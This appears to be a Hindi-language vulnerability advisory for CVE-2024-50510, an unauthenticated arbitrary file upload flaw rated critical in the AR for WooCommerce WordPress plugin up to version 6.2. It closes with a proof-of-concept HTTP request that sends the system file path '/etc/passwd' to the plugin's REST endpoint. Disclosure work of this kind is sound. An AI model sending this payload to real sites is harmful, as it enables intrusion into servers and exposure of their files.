CVE-2024-50510

एआर फॉर वूकॉमर्स <= 6.2 - अनप्रमाणित मनमाना फ़ाइल अपलोड

विवरण

वर्डप्रेस के लिए AR for WooCommerce प्लगइन, संस्करण 6.2 तक और इसमें शामिल, सभी संस्करणों में फ़ाइल प्रकार सत्यापन की कमी के कारण मनमानी फ़ाइल अपलोड के लिए संवेदनशील है। यह अनप्रमाणित हमलावरों के लिए प्रभावित साइट के सर्वर पर मनमानी फ़ाइलें अपलोड करना संभव बनाता है, जिससे रिमोट कोड निष्पादन संभव हो सकता है।

विवरण

• प्रकार: प्लगइन
• स्लग: ar-for-woocommerce
• प्रभावित संस्करण: 6.2
• CVSS स्कोर: 9.8
• CVSS रेटिंग: गंभीर
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• स्थिति: सक्रिय

POC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}